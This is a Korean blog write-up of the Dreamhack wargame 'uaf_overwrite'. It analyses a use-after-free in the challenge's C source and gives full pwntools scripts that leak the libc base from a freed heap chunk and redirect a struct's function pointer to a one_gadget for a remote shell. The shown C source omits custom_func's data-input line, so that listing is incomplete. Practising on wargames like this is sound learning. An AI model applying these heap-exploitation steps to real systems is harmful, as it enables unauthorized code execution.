[Dreamhack Wargame] uaf_overwrite

don't panic·2023년 12월 11일
0

System Hacking wargame

목록 보기
11/39

uaf_overwrite.c

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}
  • human 구조체와 robot 구조체의 크기는 똑같다. 따라서 use after free를 예상할 수 있다.

human_func

  • human 구조체를 malloc한다.
  • weightage를 입력받아 구조체의 멤버 변수에 대입하고, free한다.

robot_func

  • robot 구조체를 malloc한다.
  • weight를 입력받아 구조체의 멤버 변수에 대입한다.
  • robot->fptr이 존재하면 해당 함수를 실행한다.
  • robot을 free한다.

custom_func

  • 원하는 size를 입력해 그만큼 malloc을 할 수 있다. 그리고 그 안의 data를 print해서 볼 수 있다.
  • 그리고 원하는 custom[idx]를 free한다.

checksec 결과

exploit 설계


  1. libc_base를 구한다.
  2. one_gadget을 알아내서, Human 구조체를 할당할 때 age에 그 값을 입력한다.
  3. robot_func으로 one_gadget을 실행한다.

1. libc_base 구하기

custom(0x500, b'AAAA', -1) # chunk[0] allocate
custom(0x500, b'AAAA', -1) # chunk[1] allocate
custom(0x500, b'AAAA 0', 0) # chunk[0] free
custom(0x500, b'B', -1) # chunk[3] allocate. actually past chunk[0]
  • 3번째 custom에서 chunk[0]을 free하면서, fdbk에 library의 특정 주소가 들어가게 되었다.
  • 이를 4번째 custom에서 다시 할당하게 되면서 data구간에 그 값이 입력값 'B\n'와 같이 남아있게 된다.
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555400000 0x0000555555402000 0x0000000000000000 r-x /mnt/c/Users/user/Study/System-Hacking (Dreamhack)/War game (Pwnable)/level-2/uaf_overwrite/uaf_overwrite
0x0000555555601000 0x0000555555602000 0x0000000000001000 r-- /mnt/c/Users/user/Study/System-Hacking (Dreamhack)/War game (Pwnable)/level-2/uaf_overwrite/uaf_overwrite
0x0000555555602000 0x0000555555603000 0x0000000000002000 rw- /mnt/c/Users/user/Study/System-Hacking (Dreamhack)/War game (Pwnable)/level-2/uaf_overwrite/uaf_overwrite
0x0000555555603000 0x0000555555624000 0x0000000000000000 rw- [heap]
0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd3000 0x0000000000000000 rw- 
0x00007ffff7dd3000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fea000 0x00007ffff7fec000 0x0000000000000000 rw- 
0x00007ffff7ff6000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
  • vmmap으로 확인해본 결과 0x00007ffff7dc0a420x00007ffff7dcdca0는 라이브러리 영역에 있다.
gef➤  x/i 0x00007ffff7dcdca0
   0x7ffff7dcdca0 <main_arena+96>:      add    BYTE PTR [rcx+0x60],0x55
  • 항상 이 주소는 libc_base와 offset이 같을 것이므로 offset을 구해야 한다.
  • fdbk의 뒤 4자리수가 다른 이유는 우리가 data로 "B\n"을 입력했기 때문이다.

    이를 고려해서 0x3ebca0에서 42가 덮여서 0x3ebc42가 offset이 된다.
# calculate libc_base
custom(0x500, b'AAAA', -1) # chunk[0] allocate
custom(0x500, b'AAAA', -1) # chunk[1] allocate
custom(0x500, b'AAAA', 0) # chunk[0] free
custom(0x500, b'B', -1) # chunk[3] allocate. actually past chunk[0]

p.recvuntil(b'Data:')
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = lb + og[2]
  • 그렇게 libc_base를 구하고, 미리 구한 one_gadget의 오프셋을 더해놓자.

2. one_gadget 실행하기

human(1, one_gadget)
robot(1)
  • 구조체의 함수 부분 human->ageone_gadget을 심어놓는다.
  • freerobot 함수를 실행해 one_gadget을 실행한다.

최종 explpoit.py


이전 exploit

from pwn import *

p = remote('host3.dreamhack.games', 17307)

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# calculate libc_base
custom(0x500, b'AAAA', -1) # chunk[0] allocate
custom(0x500, b'AAAA', -1) # chunk[1] allocate
custom(0x500, b'AAAA', 0) # chunk[0] free
custom(0x500, b'B', -1) # chunk[3] allocate. actually past chunk[0]

p.recvuntil(b'Data:')
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = lb + og[2]


human(1, one_gadget)
robot(1)

p.interactive()

그런데 계속 libc_base를 recv하지 못하고 기다리다가 끝이 났다.
알고 보니 내가 직접 만든 custom 함수를 실행하고, data를 받을 수가 없었다. 진행 도중에 data를 받고 free할 idx를 보내야 했다.
따라서 코드를 이에 맞게 다시 작성했다.

from pwn import *

p = remote('host3.dreamhack.games', 17307)
# context.log_level = 'debug'
def slog(name, sym):
    success(': '.join([name, hex(sym)]))

# custom(1280, "AAAA", -1);
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Size: ', b'1280')
p.sendafter(b'Data: ', b'AAAA')
p.sendlineafter(b'idx: ', b'-1')

# custom(1280, "AAAA", -1)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Size: ', b'1280')
p.sendafter(b'Data: ', b'AAAA')
p.sendlineafter(b'idx: ', b'-1')

# custom(1280, "AAAA", 0)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Size: ', b'1280')
p.sendafter(b'Data: ', b'AAAA')
p.sendlineafter(b'idx: ', b'0')

# custom(1280, "B", -1)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Size: ', b'1280')
p.sendafter(b'Data: ', b'B')
p.recvuntil(b'Data: ')
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
p.sendlineafter(b'idx: ', b'-1')
slog('libc_base', lb)
og = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = lb + og[2]

# human(weight, age);
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', b'1')
p.sendlineafter(b': ', str(one_gadget))

# robot(1)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', b'1')

p.interactive()

0개의 댓글